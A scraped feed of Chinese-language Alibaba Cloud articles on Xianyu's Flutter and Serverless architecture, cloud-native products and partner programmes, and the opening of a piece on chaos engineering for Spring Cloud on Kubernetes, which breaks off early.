    3、运维成本极高。为了保障业务的稳定性和可用性,阿里对每一个应用上线都有相应的规范和规则。哪怕是一个很小的内部应用,一天可能只有一两个访问量,上线也需要遵守既有的规范,这势必会消耗一些固定资源。单个应用消耗的资源可能很有限,但所有应用消耗的资源累积起来也是一个不小的数字。而对于巨型应用,由于影响面巨大,发布时要有更加严格的流程和步骤,一次发布至少要耗时6小时,导致运维成本极高。

    Serverless 的出现,一方面使云端一体化研发成为可能,很多小业务需求的协同成本可以大大降低。另一方面,Serverless 使业务胶水层的巨型应用,有了比微服务更加合理的拆分方式。

    传统巨型应用的成本(速度)、稳定、质量相互制约的瓶颈,可以用下面这个三角形来直观的表示。
    image.png
    云原生/Serverless 这些新技术的出现,可以使应用运维能力下沉,传统巨型应用的成本(速度)、稳定、质量相互制约的瓶颈才有可能被打破。闲鱼在落地新技术的过程中,先围绕 Flutter 重点攻坚了 Flutter 混合工程体系、高性能组件库。然后围绕Serverless 重点攻坚云端一体化研发体系、服务端业务组装层架构体系。

    闲鱼客户端基于 Flutter 进行架构演进与创新,通过 Flutter 统一 Android 和 iOS 双端提升研发效能之后,希望通过 Flutter+Serverless 解决各角色间存在的大量的协同问题,正是这些问题导致整体研发效率低,移动端离业务越来越远,服务端没有时间做底层领域沉淀。通过 Serverless 的引入,闲鱼会明显看到整体研发效率的提升。

    02 一边探索,一边实践

    2018年,闲鱼技术团队开始探索 Serverless,整体分为四个阶段:自建Dart Server、依托FaaS平台、云端一体化、传统巨型应用Serverless化。

    2018年5月,以 Serverless 思路构建了2s内冷启动的 Dart Server 应用框架,用于服务端业务胶水层的轻量化开发。

    2018年底到2019年初,闲鱼启动与Gaia团队协同共建基于Gaia平台的Dart 运行时,并上线了部分业务。注:Gaia是基于阿里云的面向淘宝业务特点封装的、用于淘宝业务的FaaS平台。

    2019年,闲鱼基于Gaia的Dart Runtime标准化,探索 Flutter+FaaS 云端编程一体化,领域接口元数据化,最终诞生了 Nexus 等胶水层业务框架,并在闲鱼20多个业务落地。

    2020年,闲鱼开始进行云端的工程&工具一体化,目标是实现一个工程、多端部署。现在,王树彬正带着技术团队攻坚业务胶水层的传统巨型应用治理,使传统应用向Serverless化迁移,“最快3个月,最晚6个月,我们就会交出一份漂亮的答卷。”

    具体来看过去这两年的时间里,闲鱼在Serverless上的实践成果,主要分为5个方面:

    1、云端编程模型一体化框架(Nexus API)
    这个框架的目标是使Flutter、FaaS的编程模型统一,打通UI、交互、数据、逻辑。王树彬提到,一开始说要做Flutter + FaaS一体化的时候,我们对“一体化“这三个字的认知相对比较模糊,只是知道端侧的同学可以用 Dart 这门语言来写FaaS函数,这其实还停留在语言上的一体化。对于FaaS所能做的事,也仅仅停留在前端实施已久的BFF层面。

    我们花了很长时间来讨论,基于Dart生态下,前端的 FaaS 在研发交付其实并不高效,研发阶段主要面临的问题是:

    编程语言不统一:编程语言本身虽然不是最大的障碍,但这也确实给前端开发者增加不少门槛,而且更重要的是语言背后的生态、环境与体系更是一道高高的墙。

    开发模式与架构割裂,环境复杂:端侧一个工程,FaaS侧也有一个独立的工程,它们背后有自己的一套构建、调试、集成/发布的工具链;除此之外,FaaS 还有自己配套的环境、Runtime、框架作为支撑。开发者面对这样复杂的 FaaS 研发环境与双重的研发工作流是无法做到高效交付的。

    最终,我们对一体化有了一个比较清晰的共识,那就是要实现两个核心的一体化:

    • 语言一体化
    • 开发模式与架构一体化

    编程语言的一体化可以为开发者提供一种熟悉的技术栈,开发模式与架构一体化能帮助开发者解决工程割裂以及背后复杂的 FaaS 本地运行环境问题,带来与原研发模式基本一致的研发体验。

    通过这两个层面的一体化,最终达到开发 Flutter 页面和开发 FaaS 无明显Gap。例如,闲鱼客户端Flutter以往是用Redux框架开发,在Nexus API框架下,可以使Redux与FaaS调用无缝集成。
    image.png
    2、CLI 开发工具标准化

    云端一体化开发时,通过 CLI(命令行工具)屏蔽 FaaS 开发的一些细节,使客户端开发 FaaS 时的开发体验标准化,符合客户端同学的本地开发习惯。

    image.png

    3、基础服务 BaaS 化

    过去两年,我们在逐渐简化基础服务能力,如对象存储、消息、搜索。同时,建设业务领域层服务的元数据中心,这些简化的基础服务能力,再加上已有的业务领域层服务,使客户端同学可以快速组装业务。

    4、云端工程一体化

    闲鱼在成功引入 Flutter 后,在端侧形成了以 Flutter 为主、H5为辅的跨端研发体系,使传统的 Android 和 iOS 的两端研发,合并成一端。在端上的生产力得到释放时,我们发现端的同学有机会向下层走一点,使服务端面向简单的数据组装逻辑,由端的同学一人闭环完成,这套模式尤其适用于一些小业务的需求。类似的尝试业界其实早就有了,例如 GraphQL 框架的流行,前端的BFF层的形成。但有了Serverless,服务端轻量代码的开发可以极大地简化,所以闲鱼选择这个时机推进云端一体化。
    云端一体化涉及到云端编程框架、工具链、工程体系、基础服务BaaS化、领域服务下沉,同时,也涉及人员上的组织保障、分工重塑、安全生产培训等。

    5、传统巨型应用的Serverless化改造

    Serverless不是银弹,但与业务胶水层的特点很匹配,非常适用于解决胶水层的传统巨型应用的拆分,这也是闲鱼正在攻坚的下一个难题。
    image.png

    03 难题与破局

    闲鱼落地 Serverless 的过程中并非一帆风顺。王树彬提到,在Serverless云端一体化过程中,遇到了一些技术难题,比如Java富客户端的异构语言访问、开放环境如何统一以及客户端同学对领域接口不熟悉等问题。

    在闲鱼的Java系统中,存在大量的Java富客户端应用。针对Java富客户端的异构语言访问,闲鱼以Sidecar的模式,建立Java的Proxy来解决这类问题。

    紧接着,为了让开发环境统一,闲鱼开发了自己的CLI工具(GCLI)。GCLI是一个基于支撑 FaaS 研发生命周期的命令行工具,它定义了闲鱼 FaaS 开发闭环,统一了 FaaS 的研发环境,是提升FaaS研发效率的利器。GCLI 将研发闭环拆解成适合Serverless 研发习惯的开发指令。为了让用户继承其研发习惯和工具,闲鱼优先选择了基于本地的开发方案;使用Docker技术统一开发环境,在 Dcoker 内声明Dart FaaS技术栈依赖的运行环境(软件+配置)。借助容器技术,FaaS 的软件环境可以移植到任何支持Linux运行的操作系统,从而解决了环境统一的问题;GCLI 通过 FaaS Open API 实现本地和函数平台实现互操作,形成完整的研发闭环。

    最后,针对客户端同学对领域接口不熟悉的问题,闲鱼开发了领域层的元数据中心。

    云端一体化重塑了传统的云、端边界,减少了协同,也给人员的分工带来了更大的灵活性,技术上的研发效率、研发质量也明显提升。而这些改变对于业务带来的直接好处,就是可以让业务有更快的迭代速度、更快地适应市场和用户需求的变化。

    云端一体化目前应用在闲鱼的重交互场景以及轻量业务场景中,其带来的技术效率、质量提升更容易以量化的数据形式呈现。例如,以典型的中大型业务需求抽样统计,开发人日降低了30%,千行代码Bug率降低了20%。如果以零散需求统计,数据提升会更加明显。以往的小需求由于多个同学参与,往往排期需要几周,而云端一体化后,资源的灵活性明显提高,使需求响应速度大大提升。
    image.png
    “但是,还有一些问题没有解决”,王树彬说,在 Serverless 的巨型应用拆分方面,闲鱼遇到的问题更加严峻,比如:

    • 微服务和 Serverless 的选型
      在 Functions 之间代码复用

    对函数的依赖做统一升级

    这几个问题的方案,闲鱼还在逐步验证中,待经验成熟后再向大家详细分享,欢迎持续关注。

    04 借鉴与思考

    什么样的公司、应用或场景应该选用 Serverless 的架构模式?目前没有具体的定义,关键在于想清楚。想清楚,就需要平衡好收益、成本、效率和应对市场的能力。其中,成本是企业更为关注的因素,这其中包括基础设施搭建的成本、运维成本、扩容成本、安全成本等。

    Netflix是落地 Serverless 的一个成功的典型,Netflix 在产品设计上一直都有创新的基因,除了不间断的 A/B 测试之外,每周都会发布很多新功能。为了确保这样高强度的工作成果,就需要一个 API 服务平台来帮助客户端工程师快速而有效地将更改的需求部署到服务层。FaaS 通过把那些与服务相关的所有平台组件抽象为业务逻辑本身来实现这一目标,而 Serverless 模式能够为Netflix提供一个平台,即使没有服务器和运营经验的工程师也可以开发高可用的服务。

    采用 FaaS 模式,本质上是对交易速度和可能性的定制化。有些应用程序的 FaaS 服务表现得很好——Netflix API 的情况就是如此,Netflix 运行的是相对统一的微服务,只需要访问和改变下游服务的数据。然而,如果服务需要定制化,例如需要改变服务平台的各个组成部分,像 RPC、数据访问、缓存、认证等,那么 FaaS 模式可能无法为这些服务提供足够的灵活性。

    自建 Serverless 平台对企业IT人员的要求比较高,同时建设成本也很高。另外,实施Serverless 需要一个成熟的生态。绝大多数情况下,已经上云的企业应该优先考虑云厂商的Serverless产品,而没有上云的企业,需要考虑现有系统的生态情况是否能与云厂商的Serverless产品兼容。

    对于 Serverless 产品的选型,应该综合几个方面来看:生态的成熟度,支持的开发语言,功能丰富度,收费标准等,关键是结合企业自身业务发展的需求。

    05 关于未来

    O'Reilly 曾对 Serverless 的应用情况进行了过一次调查,发现软件行业的开发者关注和应用 Serverless 非常多,这在意料之中,但是金融和银行业也在高度关注Serverless,原因之一是越来越多的金融科技初创企业的诞生,它们承担了传统基础架构的责任,并且以更开放的心态,接纳和拥抱 Serverless 。

    对于拒绝 Serverless 的理由,60% 的受访者表示是安全问题。因为很多行业对于 IT 环境的安全性要求很高,而采用任何新技术都可能会带来安全风险。

    此外,开发者另外一层顾虑主要是担心被厂商绑定,这就导致具备一定规模的组织会基于开源方案,如 Knative,搭建自己的 Serverless 平台。而一旦某个开源方案成为主流,云厂商就会主动去兼容开源标准并增大社区投入。

    Serverless 除了对技术和业务产生影响外,对于企业组织架构和技术人员也提出了新的要求。

    首先,Serverless 改变了沟通结构。按照康威定律,组织架构需要适应新的沟通结构,才是最好的匹配。闲鱼以前负责客户端和服务端的同学是分开的,在全新的 Flutter+Serverless 的背景下,组织结构也需要做相应的调整。经过讨论,闲鱼最终决定按照业务线划分,将客户端、服务端的同学按业务线重新组合到一起。

    其次,Serverless 使客户端的同学有机会更多的了解业务,这就要求客户端同学更加具有业务敏感度。Serverless 促使客户端同学扩大了技术边界,也需要了解一定的服务端开发概念。

    最后,Serverless 要求原有的服务端同学有更好的数据建模、领域建模能力,从而有助于底层接口复用度更好。

    从最开始不被外界看好,甚至被调侃为“咸鱼”,到如今实现了千万DAU,盘活了一个万亿级市场,闲鱼的出现,无论是对前端的电商生态,还是用户在互联网上的生活形式,都产生了重要的影响。

    为了支撑起闲鱼万亿的交易规模,王树彬和技术团队正在紧锣密鼓地进行传统巨型应用的 Serverless 化改造,“闯过了 Serverless 的这一关,才是我比较满意的状态。”

    云栖大会预告:

    在9月17-18日云栖大会上,王树彬将在「Serverless分论坛 — 2020 Serverless 新浪潮」分享《闲鱼Serverless架构实践》的话题,敬请期待。

    ]]>
    阿里云原生十年磨剑:让企业在数字经济时代焕发生命力 Fri, 02 May 2025 09:39:03 +0800 15.jpg

    日前,国际知名咨询机构 Gartner 发布了最新云厂商产品评估报告,作为亚洲唯一入选的云厂商,阿里云在计算大类中,以 92.3% 的高得分率拿下全球第一,并且刷新了该项目的历史最佳成绩。本次报告,Gartner 更多关注云原生领域,比如在软件基础设施层面,Gartner 重点评测了中间件等领域,阿里云得分位列全球第二。

    以计算项为例,本次测试选取了 Large-scale provisioning of VMs、Scheduled autoscaling、Workload migration service 等 33 条评估细项,涉及容器服务能力(ACK)在内的多项领域,在必备能力和推荐能力的评估项目中,阿里云全部拿到满分,并获得分析师的一致好评。

    在软件基础设施服务领域的 21 条评估细项中,涵盖各类数据库服务、服务网格 ASM 、 FaaS 、消息队列等领域,阿里云得分率 82.2% ,位居第二。同计算、存储一样,数据库与中间件产品能力也是分析师认可阿里云的优势领域。

    从 2011 年率先在国内布局容器技术开始,阿里在云原生领域已经深耕了十余年。在这期间涌现了众多云原生技术和产品,并在开源领域贡献了多款深受开发者欢迎的开源项目,如 Dubbo、RocketMQ、Sentinel、Spring Cloud Alibaba、OpenYurt 等。

    在 2020 阿里云线上峰会上,阿里云智能总裁张建锋表示,阿里云将做深基础,做厚中台,做强生态,有信心真正做好数字经济时代的基础设施。经实践证明,云原生是企业实现数字化转型的最短路径。

    云原生产品全面升级

    目前,阿里云拥有国内最丰富的云原生产品家族,覆盖八大类别 20 余款产品,涵盖底层基础设施、数据智能、分布式应用等,可以满足不同行业场景的需求。同时,阿里拥有最全面的云原生开源贡献。截至目前,阿里拥有 400 多个开源项目,3600 多位贡献者参与了阿里开源项目,在开源社区获得 30 多万个 Star。
    image.png
    除了支持集团内部应用规模化运维,阿里云云原生技术还向全社会输出。阿里云拥有国内最大的容器集群和客户群体,其容器服务(ACK)已在中国及海外 19 个公有云可用区开服,同时也支持客户在自有机房和边缘端的部署使用 Kubernetes。同时,阿里云还提供了丰富的差异化产品:兼容 Istio 的托管版服务网格、基于弹性容器实例的无服务器 Kubernetes(ASK)、提供镜像扫描的独享版容器镜像服务 (ACR),还有基于轻量虚拟机技术的安全沙箱容器运行时和托管服务网格(ASM),它是业内首个全托管Istio兼容的服务网格产品,为容器化的微服务应用提供一致的流量控制和观测能力。

    在中间件领域,阿里云原生拥有全球最大规模的软负载集群,消息处理量日均万亿条,双十一峰值可以达到亿级 TPS ;RPC 调用量日均万亿次,双十一峰值可以达到亿级 QPS 。通过阿里云全面的云原生产品,企业相当于站在巨人的肩膀上,即使是普通的中小企业业务系统也能具备阿里电商的敏捷、弹性、稳定性。
    image.png
    过去十年,云逐步向 Serverless 演进。2016 年阿里云发布的函数计算提供了函数级抽象,2019 年发布的 SAE 提供了应用级抽象,这些产品都抹去了服务器的概念,让用云方式得到极大的简化,并逐渐成为趋势。阿里巴巴不仅在淘宝、支付宝、钉钉、闲鱼上将 Serverless 应用于生产,新浪微博、石墨文档、跟谁学、Timing 等企业也通过阿里云 Serverless 产品,免去了维护复杂机器状态的工作,大幅降低了 IT 成本。

    云原生服务升级,从服务技术到服务业务

    阿里云拥有国内最大规模的云原生应用实践。疫情驱动企业线下业务转到线上,架构互联网化渐成趋势。全链路压测、极速弹性扩缩容以及云原生的全栈技术已广泛服务于互联网、金融、零售、制造、政务等领域企业和机构,大幅降低了应用开发的门槛,加速企业数字化转型的进程。

    利用 PTS 压测,实现资源规划可视化

    根据 Amazon 统计,每慢 100 毫秒,交易额下降 1% 。这些事件和统计数据为大家敲响了警钟,也说明了性能压测对于企业应用的重要性。性能测试服务 PTS 是一个 SaaS 性能测试平台,提供场景 API 编排功能。结合阿里巴巴的自研平台和引擎,支持按需设定压测模式、压测量级、压测时间,快速发起压测,监控压测过程并生成报告等功能,同时也兼容开源工具 JMeter 。

    作为电商行业的独角兽,完美日记通过性能测试服务 PTS 和应用高可用服务 AHAS,第一次参加双十一就成为 2019 年美妆行业第一,第一个破亿。通过大促之前反复压测,完美日记把可能出现的问题都在大促前暴露出来,大大小小提前发现并解决了20多个问题,最终把不确定性变成了确定性。

    快速扩容,容器服务秒级扩容千个 Pod 的能力,平滑应对突发流量高峰

    阿里云是连续两年国内唯一进入 Gartner 《公有云容器服务竞争格局》报告的云厂商;在 Forrester 首个企业级公共云容器平台报告中,阿里云容器服务位列Strong Performer ,中国第一。

    容器镜像服务可自动执行并优化基本镜像分发流程,支持通过 P2P 大规模分发到 1 万个节点,效率高达以前的 4 倍。企业可在数分钟内扩展到 1000 个节点,而阿里云 Serverless Kubernetes 版 (ASK) 和弹性容器实例 ECI 可在 30 秒内启动 500 个容器组。

    新一代容器服务 ACK,可以将最新神龙弹性裸金属实例的强大性能发挥得淋漓尽致,具备极致性能、高效调度、全面安全的特点:

    • 新一代神龙架构具备业界第一的 I/O 转发能力,提供最高 100G 网络带宽;阿里云高速 Terway 容器网络通过网卡直通和数据平面加速,延迟下降 30%。
      第 7 代实例最大支持 192 个 vCPU。ACK 智能 CPU 调度可以轻松释放强大算力,无需应用调整可以实现 QPS 20~30% 提升;结合 ENI 网卡密度提升,可以缩减 50% 的计算成本。

    弹性裸金属实例支持阿里云安全容器,提升端到端安全隔离能力,与开源方案相比性能提升 30%。也支持阿里云首发机密计算容器,基于软硬一体技术有效保护数据隐私。

    云原生正在打通数字化落地的“最后一公里”。疫情期间,阿里云 2 小时内支撑了复工第一天钉钉业务 1 万台云主机的扩容需求。基于云服务器和容器化的应用部署方案,让应用发布扩容效率大大提升,为全国用户提供线上工作的流畅体验。

    面对指数级增长的流量,希沃课堂通过容器服务 ACK 高效管理神龙裸金属服务器和 Serverless 弹性容器实例,顺利积累超过 30 万教师开设 200 万节课程,助力希沃课堂整体业务性能提升 30%,运维成本降低 50%。

    基于阿里云边缘容器服务 ACK@Edge 底座,盒马全程保障疫情期间居民日常供应。结合了云原生技术体系良好的资源调度和应用管理能力,与边缘计算就近访问,实时处理的优势,轻松实现全方位的降本提效,门店计算资源成本节省 50%,新店开服效率提升 70%。

    云原生中间件助力应用架构向互联网化演进

    应用架构向互联网化演进是保障业务稳定和持续创新的根本,应用容器化、微服务化、异步化是实现架构演进的三步曲。应用容器化:通过将应用和环境打包,以容器化的方式实现快速部署,快速交付。微服务化:将一个单体多模块的大应用分解为具有一些原子业务能力的微服务,通过微服务化实现业务快速迭代和变更上线。异步化:引入消息队列中间件,将应用之间的通信异步化,提升应用系统的可用性,减少响应时间。

    云上消息的准确和不丢失对于业务可靠和稳定至关重要。以出行领域为例,如果数据丢失,不仅会导致运行轨迹出现错误,后续应用在自动驾驶上还会带来安全的问题。汽车产业互联网平台大搜车通过云上消息队列 Kafka 的优化版本减少了数据的丢失情况,保证了业务的可靠性和稳定性。

    Timing App是一款提供在线学习的教育社交类应用,目前已有用户700万人。该企业无专职运维人员,之前采用单体PHP架构,无法满足快速增长的业务需求。通过阿里云Serverless应用引擎 SAE 来管理底层 IaaS 资源,解决了客户长期以来代码耦合度高、运维复杂、开发迭代效率低、资源利用率不高等问题。

    EDAS 3.0 无侵入构建云原生应用,提供更多维度自动监控

    EDAS3.0 除了在微服务治理和容器纳管上提供了差异化的产品竞争力外,还将阿里巴巴应用应用安全三板斧,即可观测、可灰度、可回滚融合其中,并实现了 K8s 集群的监管控一体化,提供了更多维度的自动监控、智能诊断和报告输出等功能。中国邮政、安利、福特汽车、红岭创投等来自政企、新零售、制造、新金融等行业的客户正通过 EDAS 来构建云上的容器应用。

    为提振消费,刺激经济快速复苏,成都市政府通过“消费券”项目,第一次活动就吸引 2000 多万市民报名。为支撑大流量高并发的报名场景,在与阿里云技术专家深入讨论后,成都信通决定采用阿里云企业级分布式应用服务 EDAS 。EDAS 的动态扩缩容、灰度发布等能力,为成都信通提供了一整套的应用生命周期的管理,真正做到一键部署、一键发布。同时 EDAS 平台对应用快速扩缩容以及对流量控制、熔断、降级等功能的支持,很好地帮助成都信通在面对大流量、高并发场景时,业务系统依旧能够持续平稳的运行。

    十年磨一剑!面向未来,阿里云将继续与企业并肩前行,激发更多企业在数字化转型浪潮下的生命力,迎接云原生的下一个十年。

    9月18日云栖大会《企业云原生实践》分论坛,敬请期待。

    升级.jpg

    ]]>
    云原生:重新定义信息产业生态体系 Fri, 02 May 2025 09:39:03 +0800

    作者:宁晓民(灭道),阿里云原生生态负责人

    信息产业竞争的核心是技术生态体系的竞争

    半个世纪以来,信息产业的生态竞争从微型机、服务器到PC互联网,到移动互联网,再到云计算时代,以操作系统为核心的产业生态系统的竞争愈演愈烈。

    1.png

    1、基于Wintel体系的计算机产业生态
    在PC时代,以微软和Intel推动软硬件功能的深度适配,协同创新和持续升级,Wintel体系以操作系统为核心,构建了PC计算机软硬件的生态体系,形成了数百个各类基于Windows的软件开发工具,在全球范围内建立了上千万名研发人员参与的开发者社区,每年培训了数以亿计的各类应用软件开发人员,基于Window的各类应用软件数以百万计,拥有超过10亿以上的用户。Wintel体系通过整合软硬件,开发者,软件商,用户等资源,形成了全球个人计算机市场难以撼动的产业生态

    2、基于Android/iOS体系的智能设备产业生态
    从苹果公司推出IPhone智能手机为标志,代表着从原来的PC互联网时代进入到了移动互联网时代,从而全球移动智能设备形成了以Android/iOS为核心的产业生态。苹果公司以软硬件结合为重点,以iOS操作系统为纽带,构建起以“CPU(ARM)+操作系统+开发工具+应用商店+各类应用”为核心的产业生态。同样Google公司以开源为手段,构建与之相配的Android体系产业生态

    3、基于云原生(Cloud Native)体系的云计算产业生态
    从2006年第一次提出“云计算”的概念起,云计算、大数据、物联网、人工智能等相关的技术及产业发展势如破竹,不断渗透当代信息产业,从而实现信息产业升级。应用迁云、上云的过程越来越快,从原来的云托管(Cloud Hosting)到云原生(Cloud Native),生于云长于云,最大化的运用云的能力,从而最大化的释放云计算的技术红利。以容器、微服务、服务网格、不可变基础设施及声明式API等技术为主的云原生技术,能够实现应用系统与基础设施解耦,从而让开发者聚焦于业务而不是底层基础设施,云原生进而成为云计算时代的新“操作系统”。以云原生技术为核心,构建起以“云厂商+异构软硬件+云边端+Serverless化+软件全生命周期+开发者+企业客户”为核心的新一代信息产业生态。

    云原生是释放云计算技术红利的最短路径

    2013年一个名叫“Docker”的开源项目发布,以“应用封装+容器镜像”,直接将一个应用运行所需的完整环境,实现了“一次发布,随处运行”,彻底解决了PaaS用户一致性的问题,进而通过Kubernetes开源项目,采用了一整套容器化设计模式和对应的控制模型,从而明确了如何以容器为核心构建真正能够跟开发者对接起来的应用交付和开发范式。容器+Kubernetes技术的逐步成熟与发展,以“云原生(Cloud Native)”为关键词的技术生态雏形基本确立。
    经过6~7年的技术发展,云原生的概念逐渐被广大的客户和合作伙伴所熟知,云原生技术、云原生产品、云原生架构的概念逐步定义出来。
    云原生技术:让系统更加弹性可靠容错、松耦合、易管理、可观察;代表技术是容器、微服务、服务网格、不可变基础设施和声明式API。
    云原生产品:云计算平台提供的数据库、大数据、中间件、函数技术、容器服务等开放标准的原生产品服务。
    云原生架构:生于云长于云,最大化运用云的能力,依赖云产品构建的IT架构,让开发者聚焦于业务而不是底层技术。
    生产力决定生产关系,以云原生为代表的先进生产力,改变整个信息产业格局,从而重新定义新的信息产业生态。

    2.png

    (1)云原生会成为云计算的新界面

    以容器、Kubernetes技术为主,向下封装底层基础设施差异性,如异构环境,异构硬件,向上支撑多样性的工作负载,如新型计算等,覆盖云、边、端,赋能无边界计算、分布式云,云原生逐步成为云计算的新界面,新一代的操作系统。

    (2)云原生重塑软件的全生命周期

    云原生通过底层基础设施与应用的解耦,在软件研发、交付、运维的全生命周期层面的效率提升,从而对软件行业上下游产业链都会带来变革。在微服务领域,在应对系统复杂性的同时,对可观测性、易测试、环境适应性的层面实现更大解耦,让开发人员聚焦于业务开发。在Mesh化层面,实现网络和流量下沉基础设施,方便软件基础设施和业务解耦,独立演进,实现全链路精准流量控制和资源动态隔离,从而带来效率的提升。以全托管、免运维、极致弹性、按需部署、按需计费、强安全为特点的Serverless无服务器架构也推动着软件研发运维模式重大升级

    (3)云原生加速信息产业转型升级

    随着云原生应用的越来越多,软件厂商从基础设施的资源需求,向精细化管理、更优成本、极致弹性、以及研发效能、交付优化的全生命周期的转化。而底层基础设施的变革,带来的“降维打击”,从而推动整个信息产业的重构。从ISV(独立软件提供商)的软件全生命周期,到硬件厂商、云厂商、ISV、企业客户之间的新一轮的软硬件的供需体系,再到云计算技术、社区、ISV、开发者之间的技术互动体系中,云原生技术作为新一代云技术操作系统,加速推动整个信息产业的快速升级。

    云原生合作伙伴计划是阿里云原生生态体系的重要载体

    “开放、被集成、共赢”是阿里云的一贯追求,今年阿里云智能总裁行癫升级了阿里云公司战略“做深基础、做厚中台、做强生态”,生态建设成为阿里云战略的重之之重。在6月份阿里云生态大会上,阿里云智能基础产品事业部高级研究员蒋江伟宣布阿里云启动“云原生合作伙伴计划“,重点扶持100个头部伙伴,赋能10000家合作伙伴,50万开发者,帮助伙伴云原生技术升级,助力企业数字化转型。

    信息产业竞争的核心是技术生态体系,从以Wintel体系的PC时代到Android/iOS的移动互联网,再到云原生体系云计算时代,对于企业和伙伴来讲,抓住技术发展趋势,提前布局是企业长盛不衰的根本。

    “阿里云原生合作伙伴计划”是阿里云原生生态体系的重要载体,生态竞争的核心。“阿里云原生合作伙伴计划”具有合作模式多样化、合作对象强强化、合作范围立体化的特点,采用“集成/被集成”的方法,从而帮助阿里云生态伙伴优化资源配置,降低交易费用,实现规模化经济。
    3.png
    “阿里云原生合作伙伴计划”主要是从市场合作、产研合作、产业链合作、技术标准4个维度,采用多维度、松耦合、立体式的合作模式,助力阿里云原生伙伴销售能力、产品/解决方案能力、服务能力的全方位能力成长。

    (1)市场合作

    阿里云原生合作伙伴计划,在传统电销、分销(代理、reseller、总代、虚商)的基础上,发展解决方案伙伴,以产品和解决方案集成的方式进行产品销售。同时在商机、品牌等市场合作之上,帮助伙伴从原来线上线下拜客模式,走向产品和解决方案推广模式,在以云原生体系为核心的云计算生态中,助力伙伴实现向高附加值的产品型公司进行转型,帮助伙伴成长与成功。

    (2)产研合作

    阿里云原生合作伙伴计划,以集成/被集成为手段,实现产品双向互动,帮助伙伴与阿里云各自产品线布局。在以云原生体系为核心的云计算生态体系中,采用OEM、OBM、ODM等方式共创、共建新产品,实现三方伙伴产品一方化,通过阿里云直销、云市场、生态等多渠道,帮助伙伴产品推广,实现更大的规模经济效益。

    (3)产业链合作

    阿里云原生合作伙伴计划,以云原生产品售前、售中、售后的全链路,以产品研发、测试、交付的全周期,全面和伙伴进行服务合作,通过培训赋能,实现服务伙伴云原生能力认定,通过能力中心、交付伙伴、外包(委外)等方式进行产品、服务的合作。

    (4)技术标准

    技术是第一生产力,以云原生体系为核心的云计算生态体系,技术发展与成熟是根本。当前云原生技术发展趋势是,以容器、Kubernetes为核心的云原生技术逐渐稳定与成熟,后期将发展为以服务治理、云边端一体化、Serverless等上层技术栈为创新发展的核心。阿里云原生合作伙伴计划,愿和业界同行一起在国际、国家、行业技术标准,以及一些自组织产业联盟共建、共同定义一些技术标准,共同发展云原生生态体系。一个典型的案例就是在2019年,阿里云和微软共同发布全球首个云原生应用标准定义与架构模型OAM,它是一个专注于描述应用的标准规范。有了这个规范,应用描述就可以彻底与基础设施部署和管理应用的细节分开。

    回顾信息产业的历次变革,每次都伴随着新技术的发展,进而推动整个生态体系的再平衡而形成的。从2013年Docker开源、容器技术快速发展开始,2014年Kubernetes开源项目大幅度提高了调度和资源管理能力。无数实践已经证明,云原生成为了云计算的新一代操作系统,以云原生体系为核心的新的信息产业生态已经形成。

    阿里云原生助力企业数字化转型

    随着对云原生技术的探索、实践和积累,阿里云原生形成了业界“四个最”:阿里云拥有国内最丰富的云原生产品家族,最全面的云原生开源贡献,最大规模的云原生应用实践,最大的容器集群和客户群体,致力于帮助客户最大化利用云的价值。

    2019年、2020年阿里云容器服务两次成为国内唯一入选Gartner公共云容器报告,“与去年相比,阿里云在产品丰富度上更进一步,与AWS并列成为全球容器产品最完善的云服务厂商。”2019年全球知名市场调研机构 Forrester 发布首个企业级公共云容器平台报告。报告显示:阿里云容器服务创造了中国企业最好成绩,与谷歌云位于同一水平线,进入强劲表现者象限。“阿里云容器服务提供了广泛的开发和应用服务支持能力,并且具备丰富的市场生态和合作伙伴体系,是企业在中国寻求最完备云服务能力的首要选择。”

    据IDC报告,全球前1000的大企业中,67%的企业已将数字化转型变成企业级战略,企业数字化转型也正成为许多中国企业的核心战略。随着企业上云成为业界趋势,全面使用开源技术和云产品构建软件服务的时代已经到来。如何更好地拥抱云计算、拥抱云原生、用技术加速创新,将成为企业数字化转型升级成功的关键。
    云时代下,企业需要新技术架构,使之更好地利用云计算优势,让业务更敏捷、成本更低、可伸缩性更强。而云原生架构的应用意义正在于此。数据显示,2020 年,超过 50% 的全球组织在生产环境中运行容器化应用程序,到 2022 年将超过 75% 。云原生正逐步成为企业数字化转型的“最短路径”。

    阿里云根据自身积累多年的云原生技术、产品和上云实践,提出完整云原生架构的设计原则、解决方案以及最佳实践,帮助企业找到数字化转型“最短路径”,完成从“压迫感”到“掌控感”的主被动力量转变,加速实现 IT 能力提升,打好降本增效组合拳。

    阿里云坚信以云原生为核心的新一代操作系统,会成为云计算时代新界面,会重塑软件行业的全生命周期,推动信息产业的转型升级。阿里云原生生态体系是云计算、大数据、物联网、人工智能的信息产业竞争的核心。“万物生长,合作共赢”是阿里云原生生态的愿景,帮助伙伴成长是阿里云原生生态的使命,阿里云愿意和广大伙伴一起,在新的信息产业生态中,互利共赢,共同成长!

    ]]>
    Spring Cloud 应用在 Kubernetes 上的最佳实践 — 高可用(混沌工程) Fri, 02 May 2025 09:39:03 +0800 前言

    从上篇开始,我们进入到了高可用的章节,上篇提到的熔断能力,是历年保障大促当天晚上整个系统不被洪峰流量打垮的法宝,本篇介绍的措施与熔断有不一样的地方,一个是线上洪峰来临时的保护措施,他更多的是流量低峰或者在专门的演练环境中,针对可能遇见的各类故障,采取演练的手段,来窥探对业务的影响。他的主要目的是让我们自己更加了解自己业务系统的薄弱环节,以便来对症下药增强系统的高可用能力。本文重点介绍为什么要做混沌工程以及如何使用 ChaosBlade 工具和 AHAS 平台快速实施混沌工程。

    为什么需要混沌工程

    任何一个系统都会有未曾可知的故障出现,拿现代工艺已经很好的磁盘来说,有统计数据的磁盘最低的年故障率都可达到 0.39% 。即便是这么底层基础设施,也会有这么高的不确定性。尤其当下大部分的服务形态都是分布式架构,在分布式系统架构下,服务间的依赖日益复杂,更很难评估单个服务故障对整个系统的影响;并且请求链路长,监控告警的不完善导致发现问题、定位问题难度增大;同时业务和技术迭代快,如何持续保障系统的稳定性和高可用性受到很大的挑战。

    云原生系统挑战更大

    谈到云原生,可以说云原生是一个理念,主要包含的技术有云设施、容器、微服务、服务网格、Serverless等技术。云设施指公有云、专有云和混合云等,是云原生系统的基础设施,基础实施的故障可能对整个上层业务系统造成很大影响,所以说云设施的稳定性是非常重要的。
    容器服务的挑战可以分两大类,一类是面向 k8s 服务提供商,服务是否稳定,另一类是面向用户,配置的扩缩容规则是否有效,实现的 CRD 是否正确,容器编排是否合理等问题。
